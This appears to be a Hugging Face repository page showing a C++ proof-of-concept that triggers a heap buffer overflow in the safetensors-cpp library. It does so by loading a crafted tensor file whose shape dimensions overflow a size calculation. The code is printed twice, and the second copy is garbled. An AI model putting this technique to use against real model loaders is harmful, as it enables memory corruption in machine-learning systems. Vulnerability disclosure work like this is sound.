Upload folder using huggingface_hub

4c19aea verified 8 months ago

4.42 kB

/**
 * crash_overflow.cc - Demonstrates actual heap corruption via integer overflow
 *
 * This simulates what a real consumer of safetensors-cpp would do:
 * 1. Load a safetensors file
 * 2. Get tensor shape
 * 3. Allocate buffer based on shape size
 * 4. Copy/iterate data using shape dimensions
 *
 * The malicious file has shape dimensions that overflow, so:
 * - Buffer allocation uses overflowed (small) size
 * - Data iteration uses shape dimensions that imply huge size
 * - Result: heap buffer overflow
 *
 * Compile: g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -fsanitize=address -I safetensors-cpp -o crash_overflow crash_overflow.cc
 * Run: ./crash_overflow overflow_tensor.safetensors
 */

#include <cstdio>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <vector>

#include "safetensors.hh"

/**
 * Simulated consumer function: reshape tensor data according to declared shape.
 * This is what ML frameworks typically do after loading a safetensors file.
 */
void process_tensor(const safetensors::tensor_t &tensor, const uint8_t *data) {
    // A real consumer would use shape to determine iteration bounds
    size_t dtype_bytes = safetensors::get_dtype_bytes(tensor.dtype);

    // Compute total elements from shape (uses the SAME vulnerable multiplication)
    size_t total_elements = safetensors::get_shape_size(tensor);  // overflows to 4

    // Allocate output buffer based on computed size
    size_t buf_size = total_elements * dtype_bytes;  // 4 * 4 = 16 bytes
    printf("  Allocating buffer: %zu bytes\n", buf_size);
    float *output = (float *)malloc(buf_size);

    if (!output) {
        printf("  malloc failed\n");
        return;
    }

    // Copy the data - this is "safe" because both use the same overflowed size
    // But the SHAPE is what matters for downstream processing
    memcpy(output, data + tensor.data_offsets[0], buf_size);

    printf("  Buffer allocated and filled: %zu bytes\n", buf_size);

    // NOW: A consumer iterates using shape dimensions for processing
    // e.g., for reshaping, transposing, or element-wise operations
    // This is where the overflow becomes dangerous
    printf("  Shape claims %zu x %zu x %zu = way more than %zu elements\n",
           tensor.shape[0], tensor.shape[1], tensor.shape[2], total_elements);

    // Demonstrate: iterate first dimension only to show OOB access
    // Even just iterating shape[0] (4194305) exceeds our 4-element buffer
    printf("  Iterating shape[0]=%zu elements (but buffer only has %zu)...\n",
           tensor.shape[0], total_elements);

    // This writes beyond the allocated buffer -> HEAP OVERFLOW
    // ASan will catch this immediately
    for (size_t i = 0; i < tensor.shape[0] && i < 100; i++) {
        output[i] = 0.0f;  // OOB write starting at index 4
    }

    printf("  OOB write triggered (ASan should report heap-buffer-overflow)\n");

    free(output);
}

int main(int argc, char *argv[]) {
    const char *filepath = "overflow_tensor.safetensors";
    if (argc > 1) filepath = argv[1];

    printf("=== safetensors-cpp Heap Overflow Crash PoC ===\n\n");

    // Load file
    std::ifstream ifs(filepath, std::ios::binary | std::ios::ate);
    if (!ifs.is_open()) {
        fprintf(stderr, "Failed to open %s\n", filepath);
        return 1;
    }
    size_t filesize = ifs.tellg();
    ifs.seekg(0);
    std::vector<uint8_t> data(filesize);
    ifs.read(reinterpret_cast<char*>(data.data()), filesize);
    ifs.close();

    // Parse
    safetensors::safetensors_t st;
    std::string warn, err;
    bool ok = safetensors::load_from_memory(data.data(), data.size(), filepath, &st, &warn, &err);

    if (!ok) {
        printf("FAILED to load: %s\n", err.c_str());
        return 1;
    }

    // Validate (this passes due to overflow)
    std::string val_err;
    if (!safetensors::validate_data_offsets(st, val_err)) {
        printf("Validation failed: %s\n", val_err.c_str());
        return 1;
    }

    printf("[+] File loaded and validated successfully\n");
    printf("[*] Processing tensors...\n\n");

    // Process each tensor
    for (size_t i = 0; i < st.tensors.size(); i++) {
        std::string key = st.tensors.keys()[i];
        safetensors::tensor_t tensor;
        st.tensors.at(i, &tensor);

        printf("Processing tensor '%s':\n", key.c_str());
        process_tensor(tensor, st.storage.data());
    }

    return 0;
}

	/**
	* crash_overflow.cc - Demonstrates actual heap corruption via integer overflow
	*
	* This simulates what a real consumer of safetensors-cpp would do:
	* 1. Load a safetensors file
	* 2. Get tensor shape
	* 3. Allocate buffer based on shape size
	* 4. Copy/iterate data using shape dimensions
	*
	* The malicious file has shape dimensions that overflow, so:
	* - Buffer allocation uses overflowed (small) size
	* - Data iteration uses shape dimensions that imply huge size
	* - Result: heap buffer overflow
	*
	* Compile: g++ -std=c++17 -DSAFETENSORS_CPP_IMPLEMENTATION -fsanitize=address -I safetensors-cpp -o crash_overflow crash_overflow.cc
	* Run: ./crash_overflow overflow_tensor.safetensors
	*/

	#include <cstdio>
	#include <cstdint>
	#include <cstdlib>
	#include <cstring>
	#include <fstream>
	#include <vector>

	#include "safetensors.hh"

	/**
	* Simulated consumer function: reshape tensor data according to declared shape.
	* This is what ML frameworks typically do after loading a safetensors file.
	*/
	void process_tensor(const safetensors::tensor_t &tensor, const uint8_t *data) {
	// A real consumer would use shape to determine iteration bounds
	size_t dtype_bytes = safetensors::get_dtype_bytes(tensor.dtype);

	// Compute total elements from shape (uses the SAME vulnerable multiplication)
	size_t total_elements = safetensors::get_shape_size(tensor); // overflows to 4

	// Allocate output buffer based on computed size
	size_t buf_size = total_elements * dtype_bytes; // 4 * 4 = 16 bytes
	printf(" Allocating buffer: %zu bytes\n", buf_size);
	float output = (float )malloc(buf_size);

	if (!output) {
	printf(" malloc failed\n");
	return;
	}

	// Copy the data - this is "safe" because both use the same overflowed size
	// But the SHAPE is what matters for downstream processing
	memcpy(output, data + tensor.data_offsets[0], buf_size);

	printf(" Buffer allocated and filled: %zu bytes\n", buf_size);

	// NOW: A consumer iterates using shape dimensions for processing
	// e.g., for reshaping, transposing, or element-wise operations
	// This is where the overflow becomes dangerous
	printf(" Shape claims %zu x %zu x %zu = way more than %zu elements\n",
	tensor.shape[0], tensor.shape[1], tensor.shape[2], total_elements);

	// Demonstrate: iterate first dimension only to show OOB access
	// Even just iterating shape[0] (4194305) exceeds our 4-element buffer
	printf(" Iterating shape[0]=%zu elements (but buffer only has %zu)...\n",
	tensor.shape[0], total_elements);

	// This writes beyond the allocated buffer -> HEAP OVERFLOW
	// ASan will catch this immediately
	for (size_t i = 0; i < tensor.shape[0] && i < 100; i++) {
	output[i] = 0.0f; // OOB write starting at index 4
	}

	printf(" OOB write triggered (ASan should report heap-buffer-overflow)\n");

	free(output);
	}

	int main(int argc, char *argv[]) {
	const char *filepath = "overflow_tensor.safetensors";
	if (argc > 1) filepath = argv[1];

	printf("=== safetensors-cpp Heap Overflow Crash PoC ===\n\n");

	// Load file
	std::ifstream ifs(filepath, std::ios::binary \| std::ios::ate);
	if (!ifs.is_open()) {
	fprintf(stderr, "Failed to open %s\n", filepath);
	return 1;
	}
	size_t filesize = ifs.tellg();
	ifs.seekg(0);
	std::vector<uint8_t> data(filesize);
	ifs.read(reinterpret_cast<char*>(data.data()), filesize);
	ifs.close();

	// Parse
	safetensors::safetensors_t st;
	std::string warn, err;
	bool ok = safetensors::load_from_memory(data.data(), data.size(), filepath, &st, &warn, &err);

	if (!ok) {
	printf("FAILED to load: %s\n", err.c_str());
	return 1;
	}

	// Validate (this passes due to overflow)
	std::string val_err;
	if (!safetensors::validate_data_offsets(st, val_err)) {
	printf("Validation failed: %s\n", val_err.c_str());
	return 1;
	}

	printf("[+] File loaded and validated successfully\n");
	printf("[*] Processing tensors...\n\n");

	// Process each tensor
	for (size_t i = 0; i < st.tensors.size(); i++) {
	std::string key = st.tensors.keys()[i];
	safetensors::tensor_t tensor;
	st.tensors.at(i, &tensor);

	printf("Processing tensor '%s':\n", key.c_str());
	process_tensor(tensor, st.storage.data());
	}

	return 0;
	}